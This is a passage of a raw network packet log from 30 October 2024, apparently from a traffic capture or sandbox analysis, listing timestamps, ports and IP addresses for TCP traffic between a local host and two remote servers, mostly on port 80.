Oct 30, 2024 21:56:22.951307058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.951338053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.951349974 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.951379061 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.951410055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.951410055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990473986 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990485907 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990498066 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990509033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990525007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990552902 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990586996 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990586996 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990693092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990705967 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990722895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990732908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990746021 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990752935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990753889 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990761042 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990778923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990778923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990818024 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990818024 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990921021 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990969896 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.990974903 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.990988016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991046906 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991079092 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991180897 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991193056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991204023 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991236925 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991266966 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991447926 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991492987 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991533041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991545916 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991575956 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991589069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991627932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991627932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991786003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991811037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.991851091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.991851091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.022974014 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.022995949 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023005962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023168087 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.023168087 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.023216963 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023228884 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023240089 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023251057 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023282051 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.023294926 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.023382902 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023396969 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023407936 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023436069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.023449898 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.023647070 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023695946 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023698092 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.023708105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023749113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.023885012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023895979 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.023936987 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.024116993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024164915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.024250984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024260998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024271965 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024282932 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024292946 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024300098 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.024305105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024315119 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024322033 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.024343967 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.024359941 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.024887085 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024899960 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024907112 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.024945021 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.025012970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.025029898 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.025080919 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.066345930 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.066375971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.066382885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.066389084 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.066395044 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.066438913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.066473961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.066643000 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.067601919 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.067614079 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.067625046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.067656040 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.067671061 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.106297016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106327057 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106338978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106390953 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.106549978 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.106617928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106630087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106642008 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106653929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106729984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106741905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106755018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106801033 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.106818914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106825113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.106831074 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106843948 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.106868029 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.106884003 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107292891 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107347965 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107348919 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107361078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107394934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107413054 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107520103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107532978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107567072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107580900 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107764006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107777119 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107789993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107820034 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107835054 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107867002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107880116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107892036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.107916117 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.107933044 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.139406919 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.139513969 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.139529943 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.139600992 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.139647961 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.139659882 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.139672995 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.139683962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.139694929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.139812946 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.139812946 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.139813900 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140095949 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140108109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140119076 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140130997 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140160084 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140192032 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140319109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140331030 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140341997 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140352964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140376091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140383959 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140396118 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140397072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140408039 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140418053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140433073 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140465021 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140465021 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140904903 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140965939 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.140979052 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.140990973 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141022921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141028881 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.141036034 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141048908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141051054 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.141069889 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.141108990 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.141459942 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141516924 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.141555071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141566038 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141577959 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141587973 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.141616106 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.141616106 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.141654968 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.182894945 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.182908058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.182919025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.182929993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.182996035 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.183018923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.183028936 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.183038950 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.183075905 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.184231043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.184245110 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.184256077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.184292078 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.184340954 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.248948097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.248967886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.248979092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.248987913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.248997927 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249008894 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249017954 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249030113 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249039888 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249054909 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249095917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249104977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249114990 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249128103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249139071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249147892 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249156952 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249166012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249177933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249180079 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.249186993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249212980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.249236107 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.249249935 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:23.249339104 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:23.249383926 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:23.249567032 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:23.249591112 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:23.249799013 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249844074 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249850988 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.249855995 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.249890089 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.249923944 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.255637884 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255685091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255696058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255709887 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.255749941 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.255750895 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.255848885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255861998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255882978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255893946 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255897045 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.255930901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.255930901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.255939007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255949974 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255959988 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.255965948 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.255989075 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.256023884 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.256434917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256490946 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.256591082 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256603003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256609917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256619930 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256632090 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256644964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256654024 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.256680965 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.256815910 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256865025 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.256930113 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256963015 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256973982 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.256978035 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.257005930 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.257028103 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.257231951 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257242918 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257253885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257266045 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257282019 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.257317066 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.257371902 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257383108 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257395983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257405043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257427931 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.257455111 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.257821083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257868052 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.257874966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257888079 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.257942915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.258003950 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.258016109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.258057117 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.299397945 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.299458027 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.299654007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.299696922 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.299732924 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.299761057 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.299773932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.299774885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.299787998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.299804926 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.299818993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.299839020 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.300523043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.300565958 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.300575018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.300591946 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.300616980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.300632000 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.301165104 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.301208973 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365179062 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365194082 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365206957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365236998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365242004 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365248919 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365271091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365315914 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365338087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365350008 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365385056 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365413904 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365484953 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365498066 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365509987 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365530968 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365586042 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365586042 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365725040 CET	80	50233	185.215.113.16	192.168.2.5
